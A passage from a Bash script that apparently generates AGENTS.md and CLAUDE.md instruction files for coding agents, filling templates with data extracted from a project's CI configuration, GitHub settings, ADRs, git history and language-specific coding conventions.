|| echo '{}') [ "$VERBOSE" = true ] && echo "$QUALITY_CONFIG" | jq . >&2 # Extract CI commands log "Extracting CI commands..." CI_INFO=$("$SCRIPT_DIR/extract-ci-commands.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}') [ "$VERBOSE" = true ] && echo "$CI_INFO" | jq . >&2 # Extract CI rules (version matrices, quality gates, coverage thresholds) log "Extracting CI rules..." CI_RULES=$("$SCRIPT_DIR/extract-ci-rules.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}') [ "$VERBOSE" = true ] && echo "$CI_RULES" | jq . >&2 # Extract GitHub repository settings log "Extracting GitHub settings..." GITHUB_SETTINGS=$("$SCRIPT_DIR/extract-github-settings.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}') [ "$VERBOSE" = true ] && echo "$GITHUB_SETTINGS" | jq . >&2 # Extract GitHub rulesets log "Extracting GitHub rulesets..." GITHUB_RULESETS=$("$SCRIPT_DIR/extract-github-rulesets.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"rulesets":[],"merge_queue":false,"required_checks":[],"signed_commits":false}') [ "$VERBOSE" = true ] && echo "$GITHUB_RULESETS" | jq . >&2 # Extract ADRs log "Extracting ADRs..." ADR_INFO=$("$SCRIPT_DIR/extract-adrs.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"adr_count":0,"adr_directory":null,"adrs":[]}') [ "$VERBOSE" = true ] && echo "$ADR_INFO" | jq . >&2 # Extract architecture / module boundary rules log "Extracting architecture rules..." ARCH_RULES=$("$SCRIPT_DIR/extract-architecture-rules.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}') [ "$VERBOSE" = true ] && echo "$ARCH_RULES" | jq . >&2 # Determine command source confidence # Priority: CI > Makefile > package.json/composer.json > fallback defaults get_command_source() { local ci_system ci_system=$(echo "$CI_INFO" | jq -r '.ci_system // "none"') if [ "$ci_system" != "none" ] && [ "$ci_system" != "null" ]; then local ci_commands ci_commands=$(echo "$CI_INFO" | jq -r '.github_actions.run_commands // .gitlab_ci.script_commands // [] | length') if [ "$ci_commands" -gt 0 ]; then echo "CI ($ci_system)" return 0 fi fi if [ -f "Makefile" ]; then echo "Makefile" return 0 fi case "$LANGUAGE" in "typescript"|"javascript") [ -f "package.json" ] && echo "package.json" && return 0 ;; "php") [ -f "composer.json" ] && echo "composer.json" && return 0 ;; "python") [ -f "pyproject.toml" ] && echo "pyproject.toml" && return 0 [ -f "setup.py" ] && echo "setup.py" && return 0 ;; "go") [ -f "go.mod" ] && echo "go.mod" && return 0 ;; esac echo "defaults" } COMMAND_SOURCE=$(get_command_source) log "Command source: $COMMAND_SOURCE" # Analyze git history for conventions log "Analyzing git history..." GIT_HISTORY=$("$SCRIPT_DIR/analyze-git-history.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}') [ "$VERBOSE" = true ] && echo "$GIT_HISTORY" | jq . >&2 # Helper: Safe jq extraction that filters null values # Usage: jq_safe "$json" '.path.to.value' jq_safe() { local json="$1" local path="$2" local result result=$(echo "$json" | jq -r "$path // empty | select(. != null and . != \"null\" and . != \"\")") echo "$result" } # Helper: Build quality standards from quality config build_quality_standards() { local quality_json="$1" local standards="" # Get detected tools local tools tools=$(echo "$quality_json" | jq -r '.detected_tools | if . and . != null then join(", ") else "" end | select(. != "")') [ -n "$tools" ] && standards="$standards- Quality tools: $tools\n" # PHPStan level local phpstan_level phpstan_level=$(jq_safe "$quality_json" '.phpstan.level') [ -n "$phpstan_level" ] && standards="$standards- PHPStan level: $phpstan_level (do not lower)\n" # TypeScript strict mode local ts_strict ts_strict=$(jq_safe "$quality_json" '.typescript.strict') [ "$ts_strict" = "true" ] && standards="$standards- TypeScript: strict mode enabled\n" # Line length settings local line_length line_length=$(jq_safe "$quality_json" '.golangci_lint.line_length // .prettier.print_width // .black.line_length // .ruff.line_length') [ -n "$line_length" ] && standards="$standards- Line length: $line_length\n" # ESLint extends local eslint_extends eslint_extends=$(jq_safe "$quality_json" '.eslint.extends') [ -n "$eslint_extends" ] && standards="$standards- ESLint: extends $eslint_extends\n" # PHP-CS-Fixer ruleset local php_cs_ruleset php_cs_ruleset=$(jq_safe "$quality_json" '.php_cs_fixer.rule_set') [ -n "$php_cs_ruleset" ] && standards="$standards- PHP-CS-Fixer: $php_cs_ruleset rules\n" # Mypy strict local mypy_strict mypy_strict=$(jq_safe "$quality_json" '.mypy.strict') [ "$mypy_strict" = "True" ] || [ "$mypy_strict" = "true" ] && standards="$standards- Mypy: strict mode enabled\n" # Ruff select rules local ruff_select ruff_select=$(jq_safe "$quality_json" '.ruff.select') [ -n "$ruff_select" ] && standards="$standards- Ruff: $ruff_select\n" # Default if nothing found [ -z "$standards" ] && standards="- Follow project linting and formatting rules\n- Write tests for new functionality\n- Keep functions focused and well-documented\n" echo -e "$standards" } # Helper: Build CI/Quality Gates section from CI rules build_ci_rules_section() { local ci_json="$1" local section="" local platform platform=$(echo "$ci_json" | jq -r '.ci_platform // empty') [[ -z "$platform" ]] && return 0 section="## CI/Quality Gates\n" section="${section}> Platform: ${platform}\n\n" # Version matrix local versions_block="" local php_versions php_versions=$(echo "$ci_json" | jq -r '.php_versions // [] | if length > 0 then "PHP " + join(", ") else "" end') [[ -n "$php_versions" ]] && versions_block="${versions_block}- ${php_versions}\n" local node_versions node_versions=$(echo "$ci_json" | jq -r '.node_versions // [] | if length > 0 then "Node " + join(", ") else "" end') [[ -n "$node_versions" ]] && versions_block="${versions_block}- ${node_versions}\n" local go_version go_version=$(echo "$ci_json" | jq -r '.go_version // empty') [[ -n "$go_version" ]] && versions_block="${versions_block}- Go ${go_version}\n" local python_versions python_versions=$(echo "$ci_json" | jq -r '.python_versions // [] | if length > 0 then "Python " + join(", ") else "" end') [[ -n "$python_versions" ]] && versions_block="${versions_block}- ${python_versions}\n" if [[ -n "$versions_block" ]]; then section="${section}### Version Matrix\n${versions_block}\n" fi # Quality gates local gates gates=$(echo "$ci_json" | jq -r '.quality_gates // [] | if length > 0 then .[] else empty end') if [[ -n "$gates" ]]; then section="${section}### Quality Gates (must pass before merge)\n" while IFS= read -r gate; do section="${section}- \`${gate}\`\n" done <<< "$gates" section="${section}\n" fi # Coverage threshold local coverage coverage=$(echo "$ci_json" | jq -r '.coverage_threshold // empty') [[ -n "$coverage" ]] && section="${section}### Coverage\n- Minimum threshold: ${coverage}\n\n" # Security workflows local sec_wfs sec_wfs=$(echo "$ci_json" | jq -r '.security_workflows // [] | if length > 0 then .[] else empty end') if [[ -n "$sec_wfs" ]]; then section="${section}### Security Workflows\n" while IFS= read -r wf; do section="${section}- \`${wf}\`\n" done <<< "$sec_wfs" section="${section}\n" fi # Pinned actions local pinned pinned=$(echo "$ci_json" | jq -r '.pinned_actions // empty') if [[ "$pinned" == "true" ]]; then section="${section}### Constraints\n- Actions are SHA-pinned — maintain pinning when updating\n" fi # Linter configs local linters linters=$(echo "$ci_json" | jq -r '.linter_configs // [] | if length > 0 then .[] else empty end') if [[ -n "$linters" ]]; then section="${section}- Linter configs: " local first=true while IFS= read -r cfg; do if $first; then section="${section}\`${cfg}\`" first=false else section="${section}, \`${cfg}\`" fi done <<< "$linters" section="${section}\n" fi echo -e "$section" } # Helper: Build module boundaries section from architecture rules build_module_boundaries() { local arch_json="$1" local section="" # Check if we have any data local framework framework=$(echo "$arch_json" | jq -r '.framework // empty' 2>/dev/null) [ -z "$framework" ] && return 0 local rule_count rule_count=$(echo "$arch_json" | jq -r '.rules | length // 0' 2>/dev/null) local internal_count internal_count=$(echo "$arch_json" | jq -r '.internal_packages | length // 0' 2>/dev/null) local has_layers has_layers=$(echo "$arch_json" | jq -r '.layer_definitions | length > 0' 2>/dev/null) [ "$rule_count" = "0" ] && [ "$internal_count" = "0" ] && [ "$has_layers" != "true" ] && return 0 section="## Module Boundaries\n" section="${section}> Source: ${framework}\n\n" # Internal packages (Go) if [ "$internal_count" -gt 0 ]; then section="${section}### Internal Packages (compiler-enforced)\n" while IFS= read -r pkg; do section="${section}- \`${pkg}\`\n" done < <(echo "$arch_json" | jq -r '.internal_packages[]' 2>/dev/null) section="${section}\n" fi # Layer definitions if [ "$has_layers" = "true" ]; then local arch_pattern arch_pattern=$(echo "$arch_json" | jq -r '.layer_definitions.architecture_pattern // empty' 2>/dev/null) if [ -n "$arch_pattern" ]; then section="${section}### Architecture Pattern\n" section="${section}- ${arch_pattern}\n\n" fi # Non-pattern layer definitions (deptrac etc.) local layer_keys layer_keys=$(echo "$arch_json" | jq -r '.layer_definitions | keys[] | select(. != "architecture_pattern")' 2>/dev/null) if [ -n "$layer_keys" ]; then section="${section}### Layers\n" while IFS= read -r layer; do local values values=$(echo "$arch_json" | jq -r --arg l "$layer" '.layer_definitions[$l] | if type == "array" then join(", ") else tostring end' 2>/dev/null) section="${section}- **${layer}**: ${values}\n" done <<< "$layer_keys" section="${section}\n" fi fi # Dependency rules if [ "$rule_count" -gt 0 ]; then section="${section}### Dependency Rules\n" section="${section}| Source | Target | Rule | Reason |\n" section="${section}|--------|--------|------|--------|\n" while IFS= read -r rule_line; do section="${section}${rule_line}\n" done < <(echo "$arch_json" | jq -r '.rules[] | "| " + .source + " | `" + .target + "` | " + .type + " | " + (.reason // "-") + " |"' 2>/dev/null) fi echo -e "$section" } # Helper: Build workflow section from git history build_workflow_info() { local git_json="$1" local workflow="" # Commit convention local convention convention=$(echo "$git_json" | jq -r '.commit_convention.convention // "unknown" | select(. != null)') [ -z "$convention" ] && convention="unknown" local confidence confidence=$(echo "$git_json" | jq -r '.commit_convention.confidence // 0 | select(. != null)') [ -z "$confidence" ] && confidence=0 if [ "$convention" != "unknown" ] && [ "$confidence" -gt 30 ]; then case "$convention" in "conventional-commits") workflow="$workflow- Commits: Use Conventional Commits (feat:, fix:, docs:, etc.)\n" ;; "tag-prefix") workflow="$workflow- Commits: Use [TAG] prefix style\n" ;; "emoji") workflow="$workflow- Commits: Use emoji prefixes\n" ;; "ticket-reference") workflow="$workflow- Commits: Include ticket references (JIRA-123, #123)\n" ;; esac fi # Merge strategy local merge_strategy merge_strategy=$(echo "$git_json" | jq -r '.merge_strategy.strategy // "unknown"') case "$merge_strategy" in "squash-and-merge") workflow="$workflow- PRs: Squash and merge\n" ;; "merge-commits") workflow="$workflow- PRs: Create merge commits\n" ;; esac # Branch naming local branch_pattern branch_pattern=$(echo "$git_json" | jq -r '.branch_naming.pattern // "unknown"') local uses_feature uses_feature=$(echo "$git_json" | jq -r '.branch_naming.uses_feature_branches // false') if [ "$uses_feature" = "true" ]; then workflow="$workflow- Branches: feature/, fix/, hotfix/ prefixes\n" elif [ "$branch_pattern" = "ticket-based" ]; then workflow="$workflow- Branches: Include ticket reference in name\n" fi # Release pattern local release_pattern release_pattern=$(echo "$git_json" | jq -r '.releases.pattern // "unknown"') local uses_v uses_v=$(echo "$git_json" | jq -r '.releases.uses_v_prefix // false') if [ "$release_pattern" = "semver" ]; then [ "$uses_v" = "true" ] && workflow="$workflow- Releases: Semantic versioning (vX.Y.Z)\n" || workflow="$workflow- Releases: Semantic versioning (X.Y.Z)\n" elif [ "$release_pattern" = "calver" ]; then workflow="$workflow- Releases: Calendar versioning (YYYY.MM.DD)\n" fi # Default branch local default_branch default_branch=$(echo "$git_json" | jq -r '.default_branch // "main"') [ -n "$default_branch" ] && [ "$default_branch" != "null" ] && workflow="$workflow- Default branch: $default_branch\n" echo -e "$workflow" } # Generate root AGENTS.md ROOT_FILE="$PROJECT_DIR/AGENTS.md" if [ -f "$ROOT_FILE" ] && [ "$FORCE" = false ] && [ "$UPDATE_ONLY" = false ]; then emit_op keep agents-file "$ROOT_FILE" reason "already exists" log "Root AGENTS.md already exists, skipping (use --force to regenerate)" elif [ "$DRY_RUN" = true ]; then emit_op write agents-file "$ROOT_FILE" echo "[DRY-RUN] Would create/update: $ROOT_FILE" else log "Generating root AGENTS.md..." # Select template if [ "$STYLE" = "verbose" ]; then TEMPLATE="$TEMPLATE_DIR/root-verbose.md" else TEMPLATE="$TEMPLATE_DIR/root-thin.md" fi # Prepare template variables declare -A vars vars[TIMESTAMP]=$(get_timestamp) vars[VERIFIED_TIMESTAMP]="never" vars[COMMAND_SOURCE]="$COMMAND_SOURCE" vars[LANGUAGE_CONVENTIONS]=$(get_language_conventions "$LANGUAGE" "$VERSION") # Command extraction - only set if non-empty (leaves placeholder for row deletion) set_if_present() { local key="$1" local value="$2" if [ -n "$value" ] && [ "$value" != "null" ]; then vars[$key]="$value" fi return 0 } set_if_present INSTALL_CMD "$(echo "$COMMANDS" | jq -r '.install // empty')" set_if_present TYPECHECK_CMD "$(echo "$COMMANDS" | jq -r '.typecheck // empty')" set_if_present LINT_CMD "$(echo "$COMMANDS" | jq -r '.lint // empty')" set_if_present FORMAT_CMD "$(echo "$COMMANDS" | jq -r '.format // empty')" set_if_present TEST_CMD "$(echo "$COMMANDS" | jq -r '.test // empty')" set_if_present TEST_SINGLE_CMD "$(echo "$COMMANDS" | jq -r '.test_single // empty')" set_if_present BUILD_CMD "$(echo "$COMMANDS" | jq -r '.build // empty')" # Time estimates - check verification JSON first, then use heuristics VERIFICATION_JSON="$PROJECT_DIR/.agents/command-verification.json" get_verified_time() { local pattern="$1" local default="$2" if [ -f "$VERIFICATION_JSON" ]; then local duration_ms # Try to find command in verification JSON using regex pattern duration_ms=$(jq -r --arg pattern "$pattern" '.commands | to_entries[] | select(.key | test($pattern; "i")) | .value.duration_ms // empty' "$VERIFICATION_JSON" 2>/dev/null | head -1) if [ -n "$duration_ms" ] && [ "$duration_ms" != "null" ] && [ "$duration_ms" -gt 0 ] 2>/dev/null; then # Convert ms to human-readable if [ "$duration_ms" -lt 1000 ]; then echo "~${duration_ms}ms" elif [ "$duration_ms" -lt 60000 ]; then echo "~$((duration_ms / 1000))s" else echo "~$((duration_ms / 60000))m" fi return fi fi echo "$default" } # Check if we have verification data if [ -f "$VERIFICATION_JSON" ]; then verified_at=$(jq -r '.verified_at // empty' "$VERIFICATION_JSON" 2>/dev/null | cut -dT -f1) if [ -n "$verified_at" ]; then vars[VERIFIED_TIMESTAMP]="$verified_at" vars[VERIFIED_STATUS]=" (verified ✓)" else vars[VERIFIED_TIMESTAMP]="never" vars[VERIFIED_STATUS]=" (unverified)" fi else vars[VERIFIED_TIMESTAMP]="never" vars[VERIFIED_STATUS]=" (unverified)" fi vars[TYPECHECK_TIME]=$(get_verified_time "typecheck" "~15s") vars[LINT_TIME]=$(get_verified_time "lint|cs-fixer|eslint" "~10s") vars[FORMAT_TIME]=$(get_verified_time "format|prettier|black|cs-fixer fix$" "~5s") vars[TEST_TIME]=$(get_verified_time "test|phpunit|jest|pytest" "~30s") vars[BUILD_TIME]=$(get_verified_time "build" "~30s") # File map vars[FILE_MAP]="$FILE_MAP" # Golden samples, utilities, and heuristics from detection scripts vars[GOLDEN_SAMPLES]="$GOLDEN_SAMPLES" vars[UTILITIES_LIST]="$UTILITIES_LIST" # Add workflow conventions from git analysis to heuristics workflow_info=$(build_workflow_info "$GIT_HISTORY") workflow_heuristics="" # Convert workflow info to heuristic table rows if echo "$workflow_info" | grep -q "Commits:"; then commit_convention=$(echo "$workflow_info" | grep "Commits:" | sed 's/- Commits: //') workflow_heuristics="${workflow_heuristics}| Committing | $commit_convention | " fi if echo "$workflow_info" | grep -q "PRs:"; then pr_strategy=$(echo "$workflow_info" | grep "PRs:" | sed 's/- PRs: //') workflow_heuristics="${workflow_heuristics}| Merging PRs | $pr_strategy | " fi if echo "$workflow_info" | grep -q "Branches:"; then branch_convention=$(echo "$workflow_info" | grep "Branches:" | sed 's/- Branches: //') workflow_heuristics="${workflow_heuristics}| Creating branches | Use $branch_convention | " fi # Combine detected heuristics with workflow heuristics # Ensure no trailing blank lines combined_heuristics="" if [ -n "$HEURISTICS" ]; then # Trim blank lines and trailing whitespace combined_heuristics=$(printf '%s' "$HEURISTICS" | sed '/^[[:space:]]*$/d') fi if [ -n "$workflow_heuristics" ]; then # Add newline separator only if both have content if [ -n "$combined_heuristics" ]; then combined_heuristics="${combined_heuristics} ${workflow_heuristics}" else combined_heuristics="$workflow_heuristics" fi fi # Remove any trailing newlines combined_heuristics=$(printf '%s' "$combined_heuristics" | sed '/^[[:space:]]*$/d') vars[HEURISTICS]="$combined_heuristics" # Repository settings (from GitHub API) build_repo_settings() { local settings_json="$1" local available available=$(echo "$settings_json" | jq -r '.available // false') [ "$available" != "true" ] && return 0 local content="" local default_branch merge_strategies required_approvals required_checks require_up_to_date default_branch=$(echo "$settings_json" | jq -r '.default_branch') merge_strategies=$(echo "$settings_json" | jq -r '.merge_strategies | join(", ")') required_approvals=$(echo "$settings_json" | jq -r '.required_approvals') required_checks=$(echo "$settings_json" | jq -r 'if .required_checks | length > 0 then .required_checks | map("`" + . + "`") | join(", ") else "" end') require_up_to_date=$(echo "$settings_json" | jq -r '.require_up_to_date') content="- **Default branch:** \`$default_branch\`\n" [ -n "$merge_strategies" ] && content="${content}- **Merge strategy:** $merge_strategies\n" [ "$required_approvals" != "0" ] && [ "$required_approvals" != "null" ] && content="${content}- **Required approvals:** $required_approvals\n" [ -n "$required_checks" ] && content="${content}- **Required checks:** $required_checks\n" [ "$require_up_to_date" = "true" ] && content="${content}- **Require up-to-date:** yes — rebase before merge\n" printf '%b' "$content" } # Append ruleset information to repo settings build_ruleset_settings() { local rulesets_json="$1" local ruleset_count ruleset_count=$(echo "$rulesets_json" | jq '.rulesets | length') [ "$ruleset_count" -eq 0 ] && return 0 local content="" local merge_queue signed_commits required_checks merge_queue=$(echo "$rulesets_json" | jq -r '.merge_queue') signed_commits=$(echo "$rulesets_json" | jq -r '.signed_commits') required_checks=$(echo "$rulesets_json" | jq -r 'if .required_checks | length > 0 then .required_checks | map("`" + . + "`") | join(", ") else "" end') [ "$merge_queue" = "true" ] && content="${content}- **Merge queue:** enabled — PRs merge via queue, not direct merge\n" [ "$signed_commits" = "true" ] && content="${content}- **Signed commits:** required\n" [ -n "$required_checks" ] && content="${content}- **Required checks (rulesets):** $required_checks\n" # List active rulesets local ruleset_names ruleset_names=$(echo "$rulesets_json" | jq -r '[.rulesets[].name] | join(", ")') [ -n "$ruleset_names" ] && content="${content}- **Active rulesets:** $ruleset_names\n" printf '%b' "$content" } vars[REPO_SETTINGS]=$(build_repo_settings "$GITHUB_SETTINGS") ruleset_settings=$(build_ruleset_settings "$GITHUB_RULESETS") if [ -n "$ruleset_settings" ]; then vars[REPO_SETTINGS]="${vars[REPO_SETTINGS]}${vars[REPO_SETTINGS]:+$'\n'}${ruleset_settings}" fi # Module boundaries (from architecture rules) vars[MODULE_BOUNDARIES]=$(build_module_boundaries "$ARCH_RULES") # CI/Quality Gates section (from CI rules) vars[CI_RULES_SECTION]=$(build_ci_rules_section "$CI_RULES") # Key Decisions (from ADRs) build_key_decisions() { local adr_json="$1" local adr_count adr_count=$(echo "$adr_json" | jq -r '.adr_count') [ "$adr_count" -eq 0 ] || [ "$adr_count" = "null" ] && return 0 local adr_dir content="" adr_dir=$(echo "$adr_json" | jq -r '.adr_directory') for i in $(seq 0 $((adr_count - 1))); do local title status summary file file=$(echo "$adr_json" | jq -r ".adrs[$i].file") title=$(echo "$adr_json" | jq -r ".adrs[$i].title") status=$(echo "$adr_json" | jq -r ".adrs[$i].status") summary=$(echo "$adr_json" | jq -r ".adrs[$i].summary") # Show status badge only for non-Accepted (Accepted is the norm) local status_badge="" if [ "$status" != "Accepted" ] && [ "$status" != "Unknown" ]; then status_badge=" [$status]" fi content="${content}- **${title}**${status_badge} — ${summary} → [\`${file}\`](${adr_dir}/${file})\n" done printf '%b' "$content" } vars[KEY_DECISIONS]=$(build_key_decisions "$ADR_INFO") # Contribution rules — detect issue-before-PR, AI disclosure, PR templates build_contribution_rules() { local rules="" # Check CONTRIBUTING.md for issue-before-PR if [ -f "CONTRIBUTING.md" ]; then if grep -qi "open an issue\|issue first\|issue before\|create an issue" CONTRIBUTING.md 2>/dev/null; then rules="$rules\n- **Issue first**: Open an issue and get approval before submitting a PR" fi if grep -qi "AI\|artificial intelligence\|copilot\|generated\|LLM\|disclose" CONTRIBUTING.md 2>/dev/null; then rules="$rules\n- **AI disclosure**: This project requires disclosure of AI-assisted contributions in PR descriptions" fi fi # Check PR template for issue linking for tmpl in .github/pull_request_template.md .github/PULL_REQUEST_TEMPLATE/*.md; do if [ -f "$tmpl" ] && grep -qi "Fixes #\|Closes #\|Related issue\|Issue number" "$tmpl" 2>/dev/null; then rules="$rules\n- **Link issues**: PR template requires linking to an issue (Fixes #NNN)" break fi done # Check branch protection for linked issues requirement local protection protection=$(echo "$GITHUB_SETTINGS" | jq -r '.required_linked_issues // false' 2>/dev/null) if [ "$protection" = "true" ]; then rules="$rules\n- **Linked issues required**: Branch protection requires PRs to reference an issue" fi [ -n "$rules" ] && printf '%b' "$rules" || true } vars[CONTRIBUTION_RULES]=$(build_contribution_rules) # Codebase state - detect migrations, deprecations codebase_state="" [ -d "migrations" ] || [ -d "db/migrate" ] && codebase_state="$codebase_state\n- Database migrations present in migrations/" [ -d "prisma/migrations" ] && codebase_state="$codebase_state\n- Prisma migrations present" grep -rq "DEPRECATED\|@deprecated" --include="*.ts" --include="*.go" --include="*.php" --include="*.py" . 2>/dev/null && \ codebase_state="$codebase_state\n- Contains deprecated code (grep for @deprecated)" [ -z "$codebase_state" ] && codebase_state="- No known migrations or tech debt documented" vars[CODEBASE_STATE]=$(echo -e "$codebase_state") # Terminology - leave empty for now, needs manual curation vars[TERMINOLOGY]="" # Scope index vars[SCOPE_INDEX]=$(build_scope_index "$SCOPES_INFO") # Verbose template additional vars if [ "$STYLE" = "verbose" ]; then # Use extracted documentation data where available readme_desc=$(echo "$DOCS_INFO" | jq -r '.readme.description // empty') if [ -n "$readme_desc" ]; then vars[PROJECT_DESCRIPTION]="$readme_desc" else vars[PROJECT_DESCRIPTION]="TODO: Add project description" fi vars[LANGUAGE]="$LANGUAGE" vars[VERSION]="$VERSION" vars[BUILD_TOOL]=$(echo "$PROJECT_INFO" | jq -r '.build_tool') vars[FRAMEWORK]=$(echo "$PROJECT_INFO" | jq -r '.framework') vars[PROJECT_TYPE]="$PROJECT_TYPE" vars[BUILD_CMD]=$(echo "$COMMANDS" | jq -r '.build') # Extract quality standards from contributing guidelines AND quality config contributing_rules=$(echo "$DOCS_INFO" | jq -r '.contributing.code_style // empty') quality_standards=$(build_quality_standards "$QUALITY_CONFIG") if [ -n "$contributing_rules" ] && [ "$contributing_rules" != "null" ]; then # Combine contributing rules with detected quality config vars[QUALITY_STANDARDS]="$contributing_rules $quality_standards" else vars[QUALITY_STANDARDS]="$quality_standards" fi # Extract security guidelines security_policy=$(echo "$DOCS_INFO" | jq -r '.security.policy // empty') if [ -n "$security_policy" ] && [ "$security_policy" != "null" ]; then vars[SECURITY_SPECIFIC]="$security_policy" else vars[SECURITY_SPECIFIC]="- Report vulnerabilities via security@project or SECURITY.md - Never commit secrets or credentials" fi vars[TEST_COVERAGE]="40" # Try to get test commands from CI info or fall back to detected commands test_cmd=$(echo "$COMMANDS" | jq -r '.test') ci_system=$(echo "$CI_INFO" | jq -r '.ci_system // "none"') # Look for specific test commands in CI ci_test_cmd="" case "$ci_system" in "github-actions") ci_test_cmd=$(echo "$CI_INFO" | jq -r '.github_actions.run_commands[]? | select(. | test("test|phpunit|jest|pytest|go test"; "i"))' 2>/dev/null | head -1) ;; "gitlab-ci") ci_test_cmd=$(echo "$CI_INFO" | jq -r '.gitlab_ci.script_commands[]? | select(. | test("test|phpunit|jest|pytest|go test"; "i"))' 2>/dev/null | head -1) ;; esac vars[TEST_FAST_CMD]="${test_cmd:-make test}" if [ -n "$ci_test_cmd" ]; then vars[TEST_FULL_CMD]="$ci_test_cmd" else vars[TEST_FULL_CMD]="${test_cmd:-make test}" fi # Check if docs exist [ -d "./docs" ] && vars[ARCHITECTURE_DOC]="./docs/architecture.md" || vars[ARCHITECTURE_DOC]="(not available)" [ -d "./docs" ] && vars[API_DOC]="./docs/api.md" || vars[API_DOC]="(not available)" # Use extracted contributing file path or default contrib_file=$(echo "$DOCS_INFO" | jq -r '.contributing.file // empty') if [ -n "$contrib_file" ] && [ "$contrib_file" != "null" ]; then vars[CONTRIBUTING_DOC]="./$contrib_file" else vars[CONTRIBUTING_DOC]="./CONTRIBUTING.md" fi fi # Language-specific conflict resolution, never-do rules, and code examples case "$LANGUAGE" in "go") vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For Go-specific patterns, defer to language idioms and standard library conventions" vars[LANGUAGE_SPECIFIC_NEVER]="- Commit go.sum without go.mod changes" vars[CODE_EXAMPLES]="**Good:** \`if err != nil { return fmt.Errorf(\"op failed: %w\", err) }\` **Avoid:** \`if err != nil { panic(err) }\` or ignoring errors" vars[GOOD_EXAMPLE]="\`\`\`go // Wrap errors with context if err != nil { return fmt.Errorf(\"failed to process %s: %w\", item, err) } // Use structured logging slog.Info(\"operation completed\", \"item\", item, \"duration\", elapsed) \`\`\`" vars[BAD_EXAMPLE]="\`\`\`go // Don't panic on recoverable errors if err != nil { panic(err) // Use return instead } // Don't use fmt.Println for logging fmt.Println(\"something happened\") // Use slog/log package \`\`\`" ;; "php") vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For PHP-specific patterns, follow PSR standards" vars[LANGUAGE_SPECIFIC_NEVER]="- Commit composer.lock without composer.json changes - Modify core framework files" vars[CODE_EXAMPLES]="**Good:** Constructor injection, typed properties, return types **Avoid:** Service locator, untyped parameters, \`@var\` without types" vars[GOOD_EXAMPLE]="\`\`\`php // Use constructor injection with typed properties public function __construct( private readonly UserRepository \$userRepository, private readonly LoggerInterface \$logger, ) {} // Always use return types and parameter types public function findById(int \$id): ?User { return \$this->userRepository->find(\$id); } \`\`\`" vars[BAD_EXAMPLE]="\`\`\`php // Don't use service locator or globals \$user = Container::get('user.repository')->find(\$id); // Don't omit types public function process(\$data) // Missing types { return \$data; // Missing return type } \`\`\`" ;; "typescript") vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For TypeScript/JavaScript patterns, follow project eslint/prettier config" vars[LANGUAGE_SPECIFIC_NEVER]="- Commit package-lock.json without package.json changes - Use any type without justification" vars[CODE_EXAMPLES]="**Good:** Strict types, async/await, destructuring **Avoid:** \`any\` type, callback hell, mutable state in components" vars[GOOD_EXAMPLE]="\`\`\`typescript // Use explicit types and async/await async function fetchUser(id: string): Promise<User | null> { const response = await api.get<User>(\\\`/users/\\\${id}\\\`); return response.data; } // Use destructuring and const const { name, email } = user; \`\`\`" vars[BAD_EXAMPLE]="\`\`\`typescript // Don't use 'any' without justification function process(data: any): any { // Type properly return data; } // Don't use var or nested callbacks var result; // Use const/let fetchData(function(data) { // Use async/await processData(data, function(result) { ... }); }); \`\`\`" ;; "python") vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="- For Python-specific patterns, follow PEP 8 and project tooling (ruff/black)" vars[LANGUAGE_SPECIFIC_NEVER]="- Commit requirements.txt without pyproject.toml changes - Use print() for logging in production code" vars[CODE_EXAMPLES]="**Good:** Type hints, dataclasses, context managers **Avoid:** Bare \`except:\`, mutable default args, \`print()\` for logging" vars[GOOD_EXAMPLE]="\`\`\`python # Use type hints and dataclasses from dataclasses import dataclass @dataclass class User: name: str email: str def find_user(user_id: int) -> User | None: \"\"\"Find user by ID.\"\"\" return db.query(User).filter_by(id=user_id).first() \`\`\`" vars[BAD_EXAMPLE]="\`\`\`python # Don't use bare except or mutable defaults def process(items=[]): # Mutable default arg! try: return do_something(items) except: # Too broad, catches KeyboardInterrupt pass # Don't use print() for logging print(f\"Processing {item}\") # Use logging module \`\`\`" ;; *) vars[LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION]="" vars[LANGUAGE_SPECIFIC_NEVER]="" vars[CODE_EXAMPLES]="" vars[GOOD_EXAMPLE]="TODO: Add language-specific good patterns" vars[BAD_EXAMPLE]="TODO: Add language-specific anti-patterns" ;; esac # Render template (smart mode respects --update flag) render_template_smart "$TEMPLATE" "$ROOT_FILE" vars "$UPDATE_ONLY" # Enforce byte budget for agent instruction limits enforce_byte_budget "$ROOT_FILE" "$BYTE_BUDGET" if [ "$UPDATE_ONLY" = true ]; then emit_op write agents-file "$ROOT_FILE" echo "✅ Updated: $ROOT_FILE" else emit_op write agents-file "$ROOT_FILE" echo "✅ Created: $ROOT_FILE" fi fi # Generate CLAUDE.md shim if requested if [ "$CLAUDE_SHIM" = true ]; then CLAUDE_FILE="$PROJECT_DIR/CLAUDE.md" if [ -f "$CLAUDE_FILE" ] && [ "$FORCE" = false ]; then emit_op keep shim "$CLAUDE_FILE" reason "already exists" log "CLAUDE.md already exists, skipping (use --force to regenerate)" elif [ "$DRY_RUN" = true ]; then emit_op write shim "$CLAUDE_FILE" echo "[DRY-RUN] Would create: $CLAUDE_FILE" else cat > "$CLAUDE_FILE" << 'CLAUDESHIM' <!-- Auto-generated shim for Claude Code compatibility --> <!-- Source of truth: AGENTS.md --> <!-- Re-generate with: generate-agents.sh --claude-shim --> @import AGENTS.md <!-- Add Claude-specific overrides below if needed --> CLAUDESHIM emit_op write shim "$CLAUDE_FILE" echo "✅ Created: $CLAUDE_FILE (shim importing AGENTS.md)" fi fi # Auto-detect Claude Code environment and ensure CLAUDE.md symlinks exist # Create compatibility symlinks if requested (root level) # Subdirectory symlinks are created after scoped files are generated (see below). if [ "$CREATE_SYMLINKS" = true ] && [ "$CLAUDE_SHIM" = false ]; then for symlink_name in CLAUDE.md GEMINI.md; do SYMLINK_FILE="$PROJECT_DIR/$symlink_name" if compat_file_is_ours "$SYMLINK_FILE"; then if [ "$DRY_RUN" = true ]; then emit_op symlink compat-file "$SYMLINK_FILE" target 